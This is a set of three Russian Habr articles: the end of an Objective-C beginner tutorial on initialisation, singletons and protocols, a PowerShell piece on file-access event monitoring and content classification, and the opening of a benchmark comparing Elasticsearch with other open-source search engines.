[self doFireWithGas:propanButan];
}
return self;
}
```
Обратите внимание на значение посылаемого аргумента «propanButan». Именно оно передаётся по всему классу, от метода к методу.
Также здесь видно что метод посылается объекту при определённых условиях.
Нужно знать что ни один Ваш метод сам по себе не может сработать. Ему нужен «пинок» снаружи. Нажатие кнопки, возникновения какого-либо события или его должен запустить метод протокола, который среда исполнения запускает в нужный ей момент. Данный метод «hotAsHell» посылается лишь после явного вызова, это не системный метод, он тоже где-то должен быть прописан либо чему-то назначен.
Теперь рассмотрим метод
```
-(id) initWithGas:(Gas *)gas temperature:(NSInteger)t;
```
Он состоит из типа возвращаемого объекта, типов аргументов, аргументов и селектора. Селектор это то что остаётся от метода когда от него отнять тип возвращаемого объекта, тип аргументов, и аргументы.
```
initWithGas:temperature:
```
именно с двоеточиями. Если аргументов нет, то двоеточий тоже нет, как в случае с «hotAsHell». Часто прийдётся сталкиваться с необходимостью употребить селектор. Теперь вы знаете что употреблять.
Немного выше было использовано понятие «super».
#### Что такое «super»?
Рассмотрим реализованный выше метод «hotAsHell». В нём есть такая конструкция
```
self = [super init];
```
Так принято инициализировать дочерний класс — через инициализацию родительского.
Предположим, что класс «Primus» — непосредственный потомок класса «NSObject». Именно тот класс, который стоит по иерархии сразу над тем классом, с которым мы работаем имеет право называться «super». Команда
```
[super init];
```
вызывает метод init экземпляра NSObject. То есть, автоматически создаётся экземпляр прародителя всех объектов — NSObject, с дефолтными (сугубо NSObject'овскими) параметрами. Посылка метода «init» NSObject'y возвращает «self» от NSObject'a. То есть непосредственно экземпляр самого NSObject'a. И этот экземпляр присваивается нашему объекту «Primus». Ведь «self» в данном случае — является именно «Primus’ом». И мы на данном этапе получаем экземпляр объекта «Primus», который ничем не отличается от NSObject’а. Индивидуальные черты ему придаёт наша посылка метода
```
[self doFireWithGas:propanButan];
```
а также остальные методы, реализованные в рамках данного класса.
Конструкция
```
if (self) {...}
```
это просто перестраховка на случай, если что-то пойдёт не так и дефолтный «Primus» не создастся. т.е. метод init класса родителя не выполнится. В таком случае обычно делают
```
...
else {...}
```
где пытаются исправить положение дел, но, к сожалению, это не тот случай и «else» нам уже ничем не поможет.
И здесь я хочу Вам напомнить о неинициализированном объекте из начала статьи. Именно при инициализации экземпляра объекта его суперклассом, происходит назначение места в памяти ему и передача указателя на это место в памяти. И когда проводим проверку
```
if (self = [super init])
```
то именно в этот самый момент «self» может получить неожиданный адрес в памяти. То есть, полученный указатель уже будет не «self». Суперкласс не возвратит нам что-то из ряда вон выходящее. Экземпляр объекта будет идентичен тому с которым мы собираемся работать. Но экземпляр именно этого объекта не будет тем экземпляром, который нам нужен. Это настолько редкая ошибка, что Вы можете её не наблюдать очень продолжительное время в своих приложениях. Просто в один прекрасный момент Ваше приложение может начать выдавать экзотические ошибки. Вследствие чего придётся потратить время на то, чтобы найти их причину. Выделенная память под Ваш объект не была задействована. Инициализироваться мог случайный указатель, не имеющий никакой связи в объектом, которому была выделена память методом «alloc». Вот тогда «self» не проходит проверку
```
if (self) {...}
```
В рассматриваемом методе инициализации. И всё потому что в каком-то месте программы при вызове этого объекта инициализация не была произведена должным образом.
Последнее, что мы должны сделать для завершения инициализации
```
return self;
```
Поскольку данный метод не «void», то он ожидает от нас, что в конце мы скажем ему что нужно возвратить. В данном случае будет возвращён объект типа «Primus», потому что «self» в рамках данного класса — именно «Primus». Также тип возвращаемого объекта нам говорит о том что ожидается именно «Primus».
В этих методах
```
+(Kitchen *) kitchenFurniture:(NSArray *)furniture
otherDishes:(NSArray *)dish;
-(UkrainianBorsch *) borschWithIngredients:(NSarray)ingredients
casserolAndPan:(NSArray)pan;
-(MasterPoRemontu *) serviceItems:(NSArray *)i
serviceSkills:(NSArray *)s;
```
тип возвращаемых объектов — «Kitchen», «UkrainianBorsch» и «MasterPoRemontu».
Таким образом, в методе «hotAsHell» мы говорим, что в конце выполнения данного метода желаем получить объект типа «Primus» с заданными параметрами.
#### Какими именно заданными параметрами?
Опишем такую реализацию метода
```
- (id) initWithGas:(Gas *)gas temperature:(NSInteger)t {
...
[self setGas:gas];
[self setTemperature:t];
...
}
```
Это значит, что при вызове этого метода
```
Primus *myPrimus = [[Primus alloc] initWithGas:metan temperature:500];
```
задаются буквально такие параметры
```
[self setGas:metan];
[self setTemperature:500];
```
Параметры задаются переменным, которые объявлены в файле \*.h
Обратите внимание на конструкцию слова «setGas» или «setTemperature». Если есть переменная, например «variable», то задать ей нужное значение можно через префикс «set»:
```
setVariable
```
при этом первая буква переменной становится заглавной. Таким образом, мы выяснили что в файле Primus.h были объявлены переменные «gas» и «temperature». Но само наличие переменных не даёт нам возможности назначать их с помощью префикса «set»
Для получения такой возможности нужно объявить свойства для этих переменных. Допустим такие:
```
@property (nonatomic, strong) Gas *gas;
@property (nonatomic) NSInteger temperature;
```
а в файле имплементации нужно будет прописать
```
@synthesize gas, temperature;
```
и только после этого станет возможным присвоение им значения через «setGas» и «setTemperature». Эти префиксы называются сэттерами.
В любой удобный момент можно попросить объект «Primus» показать Вам эти значения, обращаясь к его экземпляру
```
[myPrimus gas];
[myPrimus temperature];
```
или
```
myPrimus.gas;
myPrimus.temperature;
```
например для команды
```
NSLog(@"Примус газовый работает на газе марки %@, рабочая температура %i", [myPrimus gas], myPrimus.temperature);
```
Эти методы называются гэттерами. В случае обращения за значениями к названию переменной, ничего дописывать не нужно.
Обратите внимание, что к свойству объекта можно обращаться как через конструкцию
```
[myPrimus gas];
```
так и через
```
myPrimus.gas;
```
Они выполняют аналогичные действия.
Есть одна хитрость при доступе к переменным объекта. Это можно производить не только через свойства, но и через доступ к ним по принципу ключ-значение «key-value coding». То есть можно обратиться к переменной
```
myPrimus.gas;
```
так
```
[myPrimus valueForKey:@"gas"];
```
Мы обратились за значением, которое находится в объекте «Primus» в ключевом слове «gas».
А такая конструкция
```
[myPrimus setGas:metan];
```
в контексте «key-value coding» будет выглядеть так
```
[myPrimus setValue:@metan forKey:@"gas"];
```
Вместо свойств использовать «key-value coding» — вполне нудное занятие. Но иметь понятие о нём необходимо, чтобы в случае, когда без этого не обойтись — воспользоваться.
Также не лишним будет указать тот факт, что с недавнего времени пременными в программировании на Objective-C уже не пользуются. Вместо них используют свойства. Свойства могут быть как доступными извне, так и инкапсулированными. Естественно, что для использования внутри методов можно и нужно использовать переменые. Но объявляние переменных в блоке «ivar», который находится в интерфейсе класса — это уже анахронизм.
#### runtime
Даже если этого ещё не произошло, есть вероятность того что вскоре Вы встретите в документации слово «runtime» и в пределах той же статьи слово «isa».
Понятие «runtime» можно охарактеризовать как «среда в которой происходит перевод Вашего кода на более низкоуровневый код». «runtime» написан непосредственно с использованием C и Ассемблера. Это ещё не перевод в машинный код, а приведение Вашего кода к языкам C и Ассемблеру. Ваш метод
```
[myPrimus initWithGas:gelium temperature:nil];
```
в «runtime» на С выглядит примерно как
```
objc_msgSend(myPrimus,@selector(initWithGas:temperature:),gelium,nil);
```
Этого для начинающего Cocoa программиста должно быть достаточно, чтобы понять: дальше лучше в дебри не лезть. Как только Вы перейдёте порог вхождения в клуб, то сами сможете отыскать нужную Вам информацию.
#### Пока же нас интересует что такое «isa».
Это переменная, которая объявлена непосредственно в NSObject’е. Единственная его переменная. Когда мы вызывали метод
```
[super init];
```
то создавался не только экземпляр класса NSobject, но и экземпляр этой переменной «isa», которая ссылается на NSObject. То есть, она конкретно говорит «runtime’у», что она принадлежит объекту NSObject. А значит, и работать с экземпляром Вашего, только что созданного объекта нужно как и с NSObject’ом. В «isa» записывается указатель на тот родительский объект, который нам нужно унаследовать. Допустим, Ваш объект — потомок NSArray или UITableView или CFDictionaryRef или любого другого объекта. В таком случае «isa» указывает на NSArray или UITableView или CFDictionaryRef или любой другой объект соответственно. Так что создание экземпляра любого объекта, создаёт и переменную класса — «isa», которая ссылается непосредственно на родительский класс, вследствие чего «runtime» знает как будет поступать с каждым экземпляром.
Эта информация на этапе обучения нужна не для чего-то конкретного, а в принципе, для более объёмного понимания философии программирования Objective-C.
В процессе чтения книг и различной документации, на глаза Вам не раз попадётся понятие «singleton». Как говорит один популярный интернет-мем: «Нельзя вот так сразу взять и понять, что такое „singleton“.
#### Что такое синглтон?
Вообразим себе, что Вам нужно создать объект, который при каждом его вызове в любой точке приложения, возвращает один и тот же экземпляр. На самом деле, в процессе создания приложений, Вам действительно нужно будет такое создавать. Так почему же нельзя создать объект, несколько раз и присвоить ему те же данные через метод „initWithSomething:“ или с помощью сеттеров? Всё дело в работе с памятью и быстродействием, да и с собственно, меньшими затратами времени на написание кода. Памяти всегда мало, и даже когда на iPhone6 поставят 2Гб ОЗУ — её опять-таки будет мало. Создание одного экземпляра объекта, и последующее обращение к нему — экономит ресурсы устройства и ускоряет работу приложения. А ведь каждый хочет, чтобы его приложение было быстрым как „Bugatti Veyron“ и юзабельным как слово „хрен“.
Допустим что наш „Primus“ вполне может быть синглтоном. Тогда его метод
```
+(Primus *) hotAsHell;
```
при реализации будет выглядеть так
```
+(Primus*) hotAsHell{
static Primus *myPrimus = nil;
static dispatch_once_t predicate;
dispatch_once (&predicate, ^{myPrimus = [[super alloc] init];});
return myPrimus;
}
```
Рассмотрим что это значит позже. Пока что выясним, зачем „Primus“ делать синглтоном.
Допустим, это не вполне обычный „Primus“, а раритетный. На нём есть гравировка неизвестного мастера, он имеет крайне низкое потребление газа, а также у него есть специальная коробочка, в которой он идеально укладывается. А теперь задайте себе вопрос: „нужен ли Вам другой примус?“. Конечно же нет! Но при посылке метода
```
Primus *myPrimus = [[Primus alloc] initWitGas:metan temperature:500];
```
будет создан один „Primus“, а при посылке метода
```
Primus *myPrimus = [[Primus alloc] initWitGas:propan temperature:600];
```
будет создан абсолютно другой „Primus“. Без гравировки и коробочки.
Теперь вернёмся к тому, что написано в реализации метода „hotAsHell“.
Для начала нужно создать экземпляр объекта со свойством „static“, для того, чтобы перекрыть доступ к объекту извне. Затем присвоить ему „nil“, для того чтобы он не взял случайный адрес в памяти. Конструкция
```
static dispatch_once_t predicate;
```
создаёт предикат (условие) — »predicate" который тоже не будет виден извне. Условие заключается в том, что запрещается автоматический или динамический вызов блока, стоящего за предикатом. А вот строка
```
dispatch_once (&predicate, ^{myPrimus = [[super alloc] init];});
```
уже производит все необходимые действия для создания уникального экземпляра объекта. Конкретно «dispatch\_once» означает что выражение в скобках после него гарантированно будет запущенно только один раз на протяжении всего жизненного цикла приложения. Также «dispatch\_once» гарантирует потокобезопасность. То есть, при запуске приложения в многопоточном режиме эта функция не будет вызвана одновременно в нескольких потоках, и у ж точно не создаст нам ещё один «уникальный „Primus“». Также есть блок
```
^{myPrimus = [[super alloc] init];}
```
Это вроде маленькой функции или метода. Бывают также большие блоки. В данном блоке происходит инициализация объекта-родителя, после чего его значение присваивается потомку myPrimus.
Вместе вся строка
```
dispatch_once (&predicate, ^{myPrimus = [[super alloc] init];});
```
означает: один раз за весь жизненный цикл приложения будет инициализирован экземпляр объекта «Primus» под названием «myPrimus» со свойствами объекта-родителя и не будет возможности обратиться к этому блоку другим путём. Но о том что был создан «myPrimus» никто не узнает, потому что этот экземпляр объекта снаружи не виден. Все происходит в фоне и только единожды. И происходит благодаря GCD (Grand Central Dispatch). Рассказ о котором — отдельная тема.
И конечно же в конце мы возвращаем созданный синглтон
```
return myPrimus;
```
Синглтон — «Primus» у нас есть, теперь можно добавить ему свойства: коробочка — «Box», гравировка — «Etching», КПД — «Performance». И если объявить для них свойства, то можно будет извне менять эти переменные. Обшить коробочку, почистить гравировку, прочиповать наш «Primus» для повышения КПД. Но это останется наш старый добрый «Primus». Доступ извне к объекту «Primus» будет у тех классов, в шапке которых он объявлен. Но теперь, если делать так
```
Primus *myPrimus = [Primus hotAsHell];
```
а потом работать с «myPrimus» как с синглтоном, то ничего работать не будет. Все обращения к переменным синглтона должны происходить в следующей манере
```
Box *someBox = [Primus hotAsHell].Box;
```
так можно создать экземпляр «someBox» совсем другого класса коробок и ему присвоить значение, которое имеет коробка нашего синглтона или наоборот
```
[Primus hotAsHell].Box = someBox;
```
поменять коробку нашего «Primus».
Синглтон можно применять когда нужно вызвать NSLog с описанием свойств синглтона, а самого синглтона в данном классе нет в принципе. В таком случае его нужно просто объявить в шапке файла и вызвать один раз там где нужно. Синглтон можно и даже рекомендуют использовать в качестве глобальной переменной. Точнее его свойства будут глобальными переменными.
После усвоения основных принципов, можно будет начинать решать предлагаемые в учебниках задачи. И если с написанием своих методов в своих классах и посылкой метода объекту разобраться можно, то в дальнейшем, нужно будет использовать делегаты, протоколы и прочие MVC. Необходимо будет использовать документацию Apple и применять тысячи различных методов, заботливо созданных и описанных купертиновскими программистами.
И тут становится непонятно в принципе как и что работает. Если созданный Вами метод создаёт внутри себя массив, потом вносит в него объекты, потом запускает цикл и что-то в нём делает, а потом этот метод запускает другой Ваш метод, то вроде всё понятно. Но вот Вы открываете документацию по интересующему Вас объекту, а в нём 20 методов, которые могут делать весьма занятные вещи. Кроме того, есть объекты предки, методы которых этот объект тоже может принимать. Кроме того, в начале статьи я писал о протоколах, которым может соответствовать объект. Итого, методов может быть сотни. Какой из них нужно применять? Встречный вопрос: «для чего именно Вам нужен метод?». Правильно заданный вопрос — уже половина ответа. Когда Вы поймёте что хотите сделать, то в описании класса сможете найти интересующий Вас метод и применитьего поназначению. Если Вы хотите чтобы этот экземпляр объекта сделал что-то, присущее только классу от которого он произошёл, то в документации по этому классу нужно внимательно поискать метод, который производит необходимые Вам операции. Послать это метод объекту нужно так
```
[myPrimus doSomethingWith:Potato];
```
То есть, в документации Вы узнали, что этот метод берёт указанный аргумент «Potato» и делает с ним что-то, что в конечном итоге приводит Вас к цели если применить метод к объекту «myPrimus». Не нужно реализовывать этот метод, он реализован за Вас для прямого применения. Исключения составляют случаи, когда Вам нужно взять готовый класс из фрэймворка и субклассировать его так, чтобы при посылке стандартных методов его экземпляру, происходили нестандартные действия.
#### Протоколы
Есть также методы протоколов. Как я уже указывал в начале статьи, у них не может быть потомков. Они являются просто набором методов. Для того, чтобы применить метод протокола внутри себя, объект должен соответствовать этому протоколу. Это указывается в файле \*.h
```
@interface Primus : UIViewController
```
В данном случае, объект соответствует сразу двум протоколам «UITableViewDataSource» и «UITableViewDelegate».
#### И чем отличаются методы классов и протоколов?
Если зайти в описание этих протоколов, то там можно найти методы, которые объект может реализовать. Обратите внимание: методы протоколов Вы не посылаете своему объекту, а должны внутри них указать как должен отреагировать ваш объект, при обращении программы к этим методам. Некоторые методы в протоколах могут быть обязательными. И если вы решили что Ваш объект должен соответствовать протоколу, то обязательные методы нужно реализовать в первую очередь. Внутри любого метода протокола может быть любой метод класса. То есть, метод протокола — это контейнер, в котором находятся любые другие методы, собственно как и любой реализуемый Вами метод. Реализовать необходимый функционал внутри каждого метода протокола нужно исходя из потребностей. К примеру, нужно сделать так, чтобы Ваша формочка делала что-то, при определённых условиях. К примеру, меняла цвет, после того, как стала активной/неактивной. Идём в документацию Apple, смотрим какие протоколы реализуют нужные Вам методы. Затем ищем каким протоколам соответствует родительский класс формочки. Если протоколов, которые поддерживают нужный Вам функционал нет в стандартном наборе функций, то добавляем их в < > скобках. В описании этих протоколов ищем методы, которые реализуются после какого-либо события. Допустим
```
-(UIColor *) areaDidChangeColor:(CGRect)rect isActive:(BOOL)active;
```
который автоматически выполняется когда аргумент «active» принимает значение «YES». И меняет цвет в части экрана описанной в «rect»:
```
{
if (isActive && myForm == rect){
myColor = [UIColor redColor];
}
return myColor;
}
```
Методы протоколов задают параметры работы экземпляра класса, меняют функционал, передают значения. Например:
```
-(NSInteger) tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section;
```
возвращает количество строк в секции «section» для заданной таблицы «tableView».
На этом позволю себе закончить. Если статья поможет целевой аудитории, в которой несколько месяцев назад числился и я, то значит, что я думаю правильно и такие статьи нужны. Статьи не профессионалов, а людей, которые понимают что-то на таком уровне, который тяжело перешагнуть, не имея опоры или трамплина. Надеюсь эта статья кому-то будет трамплином или хотя бы табуреткой. Отсутствие хороших учителей, которые могут нормально что-то объяснить — фундаментальная проблема современности. У меня нет педагогического образования, но в статье изложено понятие в программировании в таком ключе, в каком лично мне было бы понятно. | https://habr.com/ru/post/167981/ | null | ru | null |
# PowerShell для ИТ-безопасности. Часть IV: платформа безопасности с использованием скриптов
В [предыдущей заметке](https://habrahabr.ru/company/varonis/blog/338166/) этой серии я предложил возможность объединения моих отдельных скриптов — один для обработки событий, другой для классификации — в одну систему. Не замахнуться ли на платформу безопасности на основе одного кода PowerShell?
Проработав некоторые детали, в основном относящиеся к зубодробительным событиям PowerShell, я смог заявить о своей победе и зарегистрировал патент на платформу безопасности на базе скриптов — SSP (Security Scripting Platform ).
**Соединенные штаты PowerShell**
Пока я получал незабываемый опыт работы с PowerShell, я понял, что некоторые из вас могут не вспомнить мои результаты работы со скриптами.
Давайте вспомним их вместе.
В [первой заметке](https://habrahabr.ru/company/varonis/blog/335176/) я представил удивительную строку кода PowerShell, которая следит за событиями доступа к файлам и запускает блок скрипта, аналогичный PS, — то есть код скрипта, который выполняется в собственной области памяти.
```
1. Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'CIM_DataFile' and TargetInstance.Path = '\\Users\\bob\\' and targetInstance.Drive = 'C:' and (targetInstance.Extension = 'doc' or targetInstance.Extension = 'txt)' and targetInstance.LastAccessed > '$($cur)' " -sourceIdentifier "Accessor" -Action $action
```
Добавив некоторые элементы скрипта, я получил код, который назвал приложением анализа доступа к файлам. Фактически оно подсчитывает события доступа и отображает некоторые основные статистические данные, а также определяет всплески доступа, которые могут указывать на попытки взлома.
Это упрощенная версия технологии анализа поведения пользователей, которая широко применяется нами здесь в компании [Varonis.](https://www.varonis.com/ru)
Пока все идет хорошо.
Затем в третьей заметке я показал, как с помощью PowerShell можно относительно просто просканировать и классифицировать файлы в папке. Поскольку это действие связано с интенсивным использованием диска, для ускорения классификации имеет смысл использовать функцию многозадачности PowerShell, известную как Runspaces.
В существующих решениях по обработке событий файлов и классификации данных, скажем Data Classification Framework компании Varonis, используется более оптимизированный подход к распределению файлов по категориям путем передачи операций с файлами в модуль классификации.
Почему?
Потому что им не требуется повторно классифицировать содержимое файлов заново: рассматриваются только файлы, которые изменены. Поэтому мой скрипт-классификатор сильно выиграет, если будет получать некоторую информацию о событиях изменения файлов.
Этот подход я реализовал с помощью платформы безопасности с использованием скриптов.
Собственные агенты Varonis, которые перехватывают события файлов Linux или Windows, — это узко специализированный код низкого уровня. Для работы такого типа требуется код, который будет коротким, простым и полностью сфокусированным на сборе сведений о событиях и быстрой передаче этих данных в другие приложения, которые уже будут выполнять обработку более высокого уровня.
Поэтому я взял свой исходный скрипт обработки событий, оптимизировал его и удалил весь код для отображения статистических данных. Затем я переработал классификатор, чтобы он проверял только измененные файлы.
В основном это классическая комбинация внутреннего модуля и внешнего интерфейса.
Вопрос состоит в том, как соединить два скрипта: как сообщить классификатору о произошедшей операции с файлом?
**Сообщения и события**
После того, как я провел несколько долгих дней за изучением форумов разработчиков, я наконец наткнулся на функцию PowerShell под именем Register-EngineEvent.
Что представляет собой этот командлет PowerShell?
Мне представляется, что это способ передачи сообщений с помощью именованного события, которое можно совместно использовать в двух скриптах. Он работает несколько иначе, чем традиционные системные сообщения и очереди, поскольку получаемое сообщение асинхронно запускает блок скрипта PowerShell. Далее это станет более понятным.
Дело в том, что у register-EngineEvent есть два варианта работы. С параметром -forward этот командлет работает как издатель событий. Без параметра -forward он выполняет роль получателя.
Понятно?
Я использовал событие с именем Delta — которое технически выполняет роль значения идентификатора SourceIdentifer — для координации работы моего скрипта обработки событий, который выдает сообщения о событиях, и моего скрипта-классификатора, который получает эти сообщения.
В первом из этих двух скриптов, отрывок из которого представлен далее, я показываю, как я регистрировал публичное имя события Delta с помощью строки -Register-EngineEvent -forward, а затем ожидал внутренних событий доступа к файлам. Когда такое событие происходило, я отправлял сообщение о внутреннем событии файла — говоря на языке PowerShell, пересылал его — соответствующему командлету Register-EngineEvent в скрипте-классификаторе во втором отрывке кода.
```
1. Register-EngineEvent -SourceIdentifier Delta -Forward
2. While ($true) {
3. $args=Wait-Event -SourceIdentifier Access # wait on internal file event
4. Remove-Event -SourceIdentifier Access
5. if ($args.MessageData -eq "Access") {
6. #do some plain access processing
7. New-Event -SourceIdentifier Delta -EventArguments $args.SourceArgs -MessageData $args.MessageData #send event to classifier via forwarding
8. }
9. elseif ($args.MessageData -eq "Burst") {
10. #do some burst processing
11. New-Event -SourceIdentifier Delta -EventArguments $args.SourceArgs -MessageData $args.MessageData #send event to classifier via forwarding
12. }
13. }
```
На стороне получателя я не использовал параметр -forward и вместо этого переходил в блок скрипта PowerShell, который асинхронно обрабатывал событие. Результат вы можете увидеть ниже.
```
1. Register-EngineEvent -SourceIdentifier Delta -Action {
2.
3. Remove-Event -SourceIdentifier Delta
4. if($event.MessageData -eq "Access") {
5. $filename = $args[0] #got file!
6. Lock-Object $deltafile.SyncRoot{ $deltafile[$filename]=1} #lock&load
7. }
8. elseif ($event.Messagedata -eq "Burst") {
9. #do something
10. }
11.
12. }
```
Запутались? А я говорил недавно, что обработка событий файлов — это непросто, и что мои учебные скрипты не справятся с обработкой реальных производственных нагрузок?
Путаница возникает, поскольку командлеты New-Event и Wait-Event для внутреннего обмена сообщениями о событиях отличаются от функций внешнего обмена сообщениями о событиях, предоставленных в Register-EngineEvent.
**Еще больше путаницы**
Полный скрипт классификации представлен далее. Я подробнее расскажу о нем в следующей и последней заметке из этой серии. А пока посмотрите на этот скрипт и обратите внимание на обработку событий и многозадачность.
```
1. Import-Module -Name .\pslock.psm1 -Verbose
2. function updatecnts {
3. Param (
4. [parameter(position=1)]
5. $match,
6. [parameter(position=2)]
7. $obj
8. )
9.
10. for($j=0; $j -lt $match.Count;$j=$j+2) {
11. switch -wildcard ($match[$j]) {
12. 'Top*' { $obj| Add-Member -Force -type NoteProperty -Name Secret -Value $match[$j+1] }
13. 'Sens*' { $obj| Add-Member -Force -type NoteProperty -Name Sensitive -Value $match[$j+1] }
14. 'Numb*' { $obj| Add-Member -Force -type NoteProperty -Name Numbers -Value $match[$j+1] }
15. }
16.
17. }
18.
19. return $obj
20. }
21.
22. $scan = {
23. $name=$args[0]
24. function scan {
25. Param (
26. [parameter(position=1)]
27. [string] $Name
28. )
29. $classify =@{"Top Secret"=[regex]'[tT]op [sS]ecret'; "Sensitive"=[regex]'([Cc]onfidential)|([sS]nowflake)'; "Numbers"=[regex]'[0-9]{3}-[0-9]{2}-[0-9]{3}' }
30.
31. $data = Get-Content $Name
32.
33. $cnts= @()
34.
35. if($data.Length -eq 0) { return $cnts}
36.
37. foreach ($key in $classify.Keys) {
38.
39. $m=$classify[$key].matches($data)
40.
41. if($m.Count -gt 0) {
42. $cnts+= @($key,$m.Count)
43. }
44. }
45. $cnts
46. }
47. scan $name
48. }
49.
50.
51. $outarray = @() #where I keep classification stats
52. $deltafile = [hashtable]::Synchronized(@{}) #hold file events for master loop
53.
54. $list=Get-WmiObject -Query "SELECT * From CIM_DataFile where Path = '\\Users\\bob\\' and Drive = 'C:' and (Extension = 'txt' or Extension = 'doc' or Extension = 'rtf')"
55.
56.
57. #long list --let's multithread
58.
59. #runspace
60. $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1,5)
61. $RunspacePool.Open()
62. $Tasks = @()
63.
64.
65. foreach ($item in $list) {
66.
67. $Task = [powershell]::Create().AddScript($scan).AddArgument($item.Name)
68. $Task.RunspacePool = $RunspacePool
69.
70. $status= $Task.BeginInvoke()
71. $Tasks += @($status,$Task,$item.Name)
72. }
73.
74.
75. Register-EngineEvent -SourceIdentifier Delta -Action {
76.
77. Remove-Event -SourceIdentifier Delta
78. if($event.MessageData -eq "Access") {
79. $filename = $args[0] #got file
80. Lock-Object $deltafile.SyncRoot{ $deltafile[$filename]=1} #lock& load
81. }
82. elseif ($event.Messagedata -eq "Burst") {
83. #do something
84. }
85. }
86.
87. while ($Tasks.isCompleted -contains $false){
88.
89. }
90.
91. #check results of tasks
92. for ($i=0; $i -lt $Tasks.Count; $i=$i+3){
93. $match=$Tasks[$i+1].EndInvoke($Tasks[$i])
94.
95.
96. if ($match.Count -gt 0) { # update clasafication array
97. $obj = New-Object System.Object
98. $obj | Add-Member -type NoteProperty -Name File -Value $Tasks[$i+2]
99. #defaults
100. $obj| Add-Member -type NoteProperty -Name Secret -Value 0
101. $obj| Add-Member -type NoteProperty -Name Sensitive -Value 0
102. $obj| Add-Member -type NoteProperty -Name Numbers -Value 0
103.
104. $obj=updatecnts $match $obj
105. $outarray += $obj
106. }
107. $Tasks[$i+1].Dispose()
108.
109. }
110.
111. $outarray | Out-GridView -Title "Content Classification" #display
112.
113. #run event handler as a separate job
114. Start-Job -Name EventHandler -ScriptBlock({C:\Users\bob\Documents\evhandler.ps1}) #run event handler in background
115.
116.
117. while ($true) { #the master executive loop
118.
119.
120. Start-Sleep -seconds 10
121. Lock-Object $deltafile.SyncRoot { #lock and iterate through synchronized list
122. foreach ($key in $deltafile.Keys) {
123.
124. $filename=$key
125.
126. if($deltafile[$key] -eq 0) { continue} #nothing new
127.
128. $deltafile[$key]=0
129. $match = & $scan $filename #run scriptblock
130. #incremental part
131.
132. $found=$false
133. $class=$false
134. if($match.Count -gt 0)
135. {$class =$true} #found sensitive data
136. if($outarray.File -contains $filename)
137. {$found = $true} #already in the array
138. if (!$found -and !$class){continue}
139.
140. #let's add/update
141. if (!$found) {
142.
143. $obj = New-Object System.Object
144. $obj | Add-Member -type NoteProperty -Name File -Value $Tasks[$i+2]
145. #defaults
146. $obj| Add-Member -type NoteProperty -Name Secret -Value 0
147. $obj| Add-Member -type NoteProperty -Name Sensitive -Value 0
148. $obj| Add-Member -type NoteProperty -Name Numbers -Value 0
149.
150. $obj=updatecnts $match $obj
151.
152. }
153. else {
154. $outarray|? {$_.File -eq $filename} | % { updatecnts $match $_}
155. }
156. $outarray | Out-GridView -Title "Content Classification ( $(get-date -format M/d/yy:HH:MM) )"
157.
158. } #foreach
159.
160. } #lock
161. }#while
162.
163. Write-Host "Done!"
```
Вкратце, этот классификатор выполняет первоначальное сканирование файлов в папке, сохраняет результаты классификации в $outarray, затем, когда возникает событие изменения файла, он обновляет $outarray, занося в него новые данные классификации. Другими словами, реализуется система добавления данных.
Есть небольшая побочная проблема в необходимости работы с обновлениями в $outarray, которая возникает каждый раз, когда в другой части скрипта классификации выполняется поиск того, что было изменено в этой переменной хеш-таблицы.
Это классическая ситуация состязания. И для обработки этой ситуации я решил использовать синхронизированныепеременные PowerShell.
Более подробно об этой загадочной функции PowerShell я расскажу в своей следующей заметке, и в заключении скажу несколько слов о том, как мастерить собственные решения. | https://habr.com/ru/post/338848/ | null | ru | null |
# Сравнение эффективности поиска: Elasticsearch и конкуренты
В области поисковых систем с открытым исходным кодом появилось несколько новых интересных игроков. Мы решили внимательно изучить некоторые из них, чтобы узнать, насколько они сравнимы с Elasticsearch - как по набору функций, так и по производительности.
Кандидаты
---------
* [Elasticsearch](https://www.elastic.co/) - "взрослая" полнотекстовая поисковая система, основанная на Lucene.
* [RediSearch](https://oss.redislabs.com/redisearch/) - полнотекстовый поиск поверх Redis от RedisLabs
* [Postgres FTS](https://www.postgresql.org/docs/current/textsearch.html) - полнотекстовые индексы для Postgres
* [TypeSense](https://typesense.org/) - альтернатива Algolia с открытым исходным кодом
* [MeiliSearch](https://www.meilisearch.com/) - альтернатива Algolia с открытым исходным кодом
Функциональное сравнение
------------------------
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Функция** | **Elastic** | **RediSearch** | **PostgreSQL** | **TypeSense** | **MeiliSearch** |
| Хранилище | Диск | RAM + снэпшоты | Диск | RAM + снэпшоты | RAM + снэпшоты |
| Распределенная работа | Мастер-реплика | RAFT | Мастер-реплика | RAFT | НЕТ |
| Репликация | + | НЕТ | + | НЕТ | НЕТ |
| Поддерживаемые языки | латиница + cjk + кириллица + арабский + еще 10 | латиница + арабский, русский, китайский | латиница + арабский, русский | с пробелами | с пробелами + кандзи |
| Исправление опечаток | да, но медленно | + | НЕТ | + | + |
| Бустинг | + | + | + | + | НЕТ |
| Точный поиск | + | + | + | НЕТ | НЕТ |
| Синонимы | + | + | + | + | + |
Известные ограничения
---------------------
**Elasticsearch**: Нестабильность, если в кластере больше ~1000 индексов (или 20 тыс. шардов)
**TypeSense**: Размер хранилища ограничен доступной оперативной памятью. [Источник](https://typesense.org/typesense-vs-algolia-vs-elasticsearch-vs-meilisearch/)
**Meilisearch**: Максимальное количество слов, учитываемых для каждого поискового запроса - 10. Максимальный размер базы данных - 100 ГБ (может быть изменен в конфиге). Максимум 200 индексов. Максимум 1000 слов в одном поле. [Источник](https://docs.meilisearch.com/reference/features/known_limitations.html#design-limitations)
Тест
----
**Набор данных:** дамп выжимок из английской Википедии enwiki-20210720-abstract.xml
**Дата:** [20 июля 2021 г.](https://dumps.wikimedia.org/enwiki/20210720/)
**Документов:** 6,3 млн
**Размер XML:** 6,0 ГБ
Слова запроса выбираются случайным образом из [1000 самых распространенных английских слов](https://gist.github.com/deekayen/4148741).
Конфигурация системы
--------------------
2 General Purpose / 32 ГБ / 8 vCPU инстанса DigitalOcean (один для генерации нагрузки + один для тестируемой системы).
Полученные результаты
---------------------
**Время индексации**
Для индексации мы учитывали только время, которое индексатор потратил на запросы к серверу.
Elasticsearch, PostgreSQL и Typesense показывают здесь очень похожую производительность, в то время как RediSearch примерно в 2 раза медленнее; этот результат странным образом противоречит [результатам тестов RedisLabs](https://redislabs.com/blog/search-benchmarking-redisearch-vs-elasticsearch/), поэтому настройка может быть здесь неоптимальной.
В то же время, Meilisearch блещет, будучи почти в 7 раз быстрее остальных.
Тайминги запросов
-----------------
